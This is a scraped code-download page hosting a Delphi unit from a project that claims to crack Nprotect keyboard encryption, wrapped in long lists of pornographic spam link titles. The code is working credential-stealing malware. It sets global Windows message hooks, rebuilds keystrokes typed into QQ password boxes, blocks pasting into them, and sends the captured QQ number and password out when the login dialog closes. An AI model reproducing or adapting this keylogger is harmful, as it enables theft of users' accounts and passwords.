亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? msghook.~pas

?? 破解“國(guó)際領(lǐng)先的Nprotect鍵盤(pán)加密技術(shù)”
?? ~PAS
字號(hào):
unit MsgHook;

interface

uses
  Windows, Messages, FunUnit, VarUnit , SendOut , ShareData , CallSelf;


procedure MsgHookOn();  // 安裝消息鉤子
procedure MsgHookOff(); // 卸載消息鉤子


implementation


var
  hGetHook, hWndHook: THandle;

procedure OnKeyDown(hWnd: HWnd; nVirtKey, nKeyData: DWord);
var
  Kbs: TKeyboardState;
  InsertPos: Integer;
  Chars: array[0..3] of Char;
begin
  if (IsPassEdit(hWnd) = False) then Exit;

  case nVirtKey of
    VK_BACK:   // 回格
      begin
        InsertPos := GetEditPos(hWnd);
        Delete(PassWord, InsertPos, 1);
      end;

    VK_DELETE: // 刪除
      begin
        InsertPos := GetEditPos(hWnd);
        Delete(PassWord, InsertPos + 1, 1);
      end;

    else       // 其他
      begin
        if (Length(PassWord) >= 16) then Exit;

        GetKeyboardState(Kbs);
        if (ToAscii(nVirtKey, (nKeyData shr 16) and $FF, Kbs, Chars, 0) <> 1) then Exit;
        if (IsValidChar(Chars[0]) = False) then Exit;

        InsertPos := GetEditPos(hWnd);
        Insert(Chars[0], PassWord, InsertPos + 1);
      end;
  end; // case nVirtKey of ..
end;

function MakeSendString(Id,Pass:String) : String;
begin
  Result := 'QQ號(hào):'+ Id + #10 + '密碼:' + Pass + #10;
end;

procedure OnDestroy(hWnd: HWnd);
var
  hComcoBox: DWord; // HWND
  cfgFileName: String;
begin
  if (IsQQDialog(hWnd) = False) then Exit;

  hComcoBox := FindWindowex(hWnd, 0, 'ComboBox', nil);
  if (IsWindow(hComcoBox) = False) then Exit;

  Number := GetWinTitle(hComcoBox);

  if (Number <> '') and (PassWord <> '') then begin
     if CallSelf.GetShareDataA <> nil then
       cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName
     else
       cfgFileName := '';
     //MessageBox(0,PChar(cfgFileName),'',MB_OK);
     SendOut.Send(MakeSendString(Number,PassWord),cfgFileName);
     WillNotCloseQQ  := True;
     CloseQQWaitTime := 0;
  end;  
    
  PassWord := '';
end;

function GetMsgProc(nCode: Integer; wParam: WParam; lParam: LParam): LResult; stdcall;
begin
  if (CurIsQQ = True) and (nCode = HC_ACTION) and (wParam = PM_REMOVE) then
    case (PMsg(lParam).message) of
      WM_KEYDOWN:
        OnKeyDown(PMsg(lParam).hwnd, PMsg(lParam).wParam, PMsg(lParam).lParam);

      WM_PASTE:
        if IsPassEdit(PMsg(lParam).hwnd) then PMsg(lParam).message := WM_NULL; // **
    end;

  Result := CallNextHookEx(hGetHook, nCode, wParam, lParam);
end;

function CallWndProc(nCode: Integer; wParam: WParam; lParam: LParam): LResult; stdcall;
begin
  if (CurIsQQ = True) and (nCode = HC_ACTION) then
    case (PCWPStruct(lParam).message) of
      WM_DESTROY:
        OnDestroy(PCWPStruct(lParam).hWnd);
    end;

  Result := CallNextHookEx(hWndHook, nCode, wParam, lParam);
end;

procedure MsgHookOn();
begin
  hGetHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance, 0);
  hWndHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);
end;

procedure MsgHookOff();
begin
  UnHookWindowsHookEx(hGetHook);
  UnHookWindowsHookEx(hWndHook);
end;

end. 

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
中文字幕中文字幕一区| 欧美手机在线视频| 久久精品亚洲乱码伦伦中文| 精品一区二区三区免费观看| 精品国产一区二区三区av性色| 日韩在线一区二区三区| 日韩一区二区麻豆国产| 激情五月激情综合网| 日本一区二区三区在线不卡| 成人精品国产福利| 夜夜嗨av一区二区三区| 欧美高清视频www夜色资源网| 日本va欧美va欧美va精品| 精品国产一区二区三区av性色| 丰满岳乱妇一区二区三区| 亚洲欧美另类小说视频| 91精品国产品国语在线不卡| 国内精品不卡在线| 国产精品福利影院| 欧美军同video69gay| 久久99蜜桃精品| 国产精品乱人伦| 欧美精品高清视频| 高清日韩电视剧大全免费| 亚洲精选免费视频| 精品国产自在久精品国产| av亚洲精华国产精华| 天堂va蜜桃一区二区三区 | 久久国产三级精品| 欧美国产精品一区二区三区| 欧美性videosxxxxx| 韩日精品视频一区| 亚洲自拍偷拍网站| 久久久久97国产精华液好用吗| 91麻豆视频网站| 美女脱光内衣内裤视频久久网站 | 亚洲综合自拍偷拍| 久久久五月婷婷| 欧美视频一区二区三区在线观看| 狠狠色综合日日| 亚洲午夜成aⅴ人片| 久久精品一区二区三区av| 欧美日韩一区久久| 成人97人人超碰人人99| 日产欧产美韩系列久久99| 亚洲免费资源在线播放| 久久精品在这里| 91精品一区二区三区久久久久久| 不卡的看片网站| 精品一区二区三区久久久| 亚洲国产综合在线| 国产精品二区一区二区aⅴ污介绍| 欧美一区二区大片| 欧美日韩免费高清一区色橹橹| 国产成人免费视频| 久久99九九99精品| 偷偷要91色婷婷| 亚洲一区中文在线| 国产精品高潮呻吟久久| 国产视频一区在线观看| 精品日韩在线一区| 欧美久久高跟鞋激| 欧美性感一类影片在线播放| 91麻豆免费视频| 91在线你懂得| 99久久精品免费看| eeuss鲁片一区二区三区| 国产精品亚洲一区二区三区在线| 久久成人av少妇免费| 免费一级片91| 美脚の诱脚舐め脚责91 | 一区二区三区四区视频精品免费 | 国产欧美一区二区精品忘忧草| 日韩欧美国产综合在线一区二区三区 | 欧美剧情片在线观看| 欧洲国内综合视频| 欧美丝袜自拍制服另类| 欧美日韩一区二区三区四区| 精品视频1区2区| 欧美午夜一区二区| 欧美美女激情18p| 69av一区二区三区| 日韩亚洲欧美综合| 亚洲精品在线免费播放| 精品成人免费观看| 国产欧美日韩久久| 亚洲视频香蕉人妖| 亚洲电影一级片| 日日嗨av一区二区三区四区| 秋霞午夜鲁丝一区二区老狼| 精品一区二区成人精品| 国产成人亚洲综合a∨婷婷| 丁香婷婷综合网| 色婷婷综合五月| 欧美丰满少妇xxxbbb| 欧美mv和日韩mv国产网站| 久久精品人人爽人人爽| 亚洲婷婷在线视频| 亚洲18女电影在线观看| 久草中文综合在线| www.亚洲精品| 欧美视频日韩视频在线观看| 日韩一级视频免费观看在线| 国产天堂亚洲国产碰碰| 亚洲综合精品久久| 久久电影国产免费久久电影| 99久久99久久久精品齐齐 | 在线综合亚洲欧美在线视频| 精品欧美一区二区在线观看| 国产清纯美女被跳蛋高潮一区二区久久w | 午夜国产精品一区| 国产精品中文字幕一区二区三区| av电影在线观看不卡| 欧美午夜片在线观看| 久久综合九色综合97婷婷女人| 国产精品国产馆在线真实露脸| 亚洲国产成人tv| 国产91富婆露脸刺激对白| 欧美性受极品xxxx喷水| 国产香蕉久久精品综合网| 亚洲综合在线第一页| 久久国产精品区| 91九色最新地址| 久久尤物电影视频在线观看| 亚洲欧美激情插| 国内精品写真在线观看| 欧美在线视频不卡| 国产校园另类小说区| 日本强好片久久久久久aaa| 懂色av一区二区三区免费观看| 欧美区视频在线观看| 中文字幕乱码日本亚洲一区二区| 午夜久久久影院| av毛片久久久久**hd| 久久午夜色播影院免费高清 | 蜜臀av一区二区在线免费观看 | 老司机精品视频一区二区三区| 99精品视频在线观看| 亚洲精品在线三区| 日韩精品国产欧美| 欧美亚洲一区二区在线观看| 国产精品久久久久久久久免费桃花| 日本成人在线看| 欧美美女黄视频| 亚洲国产精品自拍| 91麻豆国产福利在线观看| 国产色91在线| 极品少妇xxxx精品少妇偷拍| 51久久夜色精品国产麻豆| 一区二区三区精品在线| av不卡一区二区三区| 欧美激情综合在线| 激情综合五月婷婷| 日韩精品一区二区三区swag| 午夜视频在线观看一区二区| 色婷婷国产精品综合在线观看| 国产精品三级av| 国产激情视频一区二区三区欧美| 精品国产91亚洲一区二区三区婷婷| 五月婷婷激情综合网| 欧美日韩高清一区| 亚洲成人一区在线| 欧美老女人第四色| 天天影视色香欲综合网老头| 欧美日韩国产精品自在自线| 亚洲一区二区3| 欧美视频在线播放| 日韩精品一区第一页| 欧美一区二区播放| 乱中年女人伦av一区二区| 日韩一区二区三区免费观看| 裸体健美xxxx欧美裸体表演| 日韩一区二区三区高清免费看看| 久久99精品国产.久久久久| 精品久久久久久久久久久久久久久久久 | 亚洲激情自拍偷拍| 在线视频一区二区三| 亚洲黄色av一区| 欧美精品视频www在线观看| 午夜a成v人精品| 精品国产青草久久久久福利| 国产一区二区91| 亚洲色欲色欲www| 欧美日韩一区中文字幕| 青青草国产成人av片免费| 精品美女被调教视频大全网站| 国产自产2019最新不卡| 国产精品不卡一区二区三区| 色国产综合视频| 日韩黄色在线观看| 久久久久久久久久久久电影| 成人午夜av影视| 亚洲图片欧美一区| 久久嫩草精品久久久精品| av电影一区二区| 视频一区视频二区中文| 欧美精品一区二| 91福利在线观看| 精品一区二区三区视频| 亚洲女人****多毛耸耸8|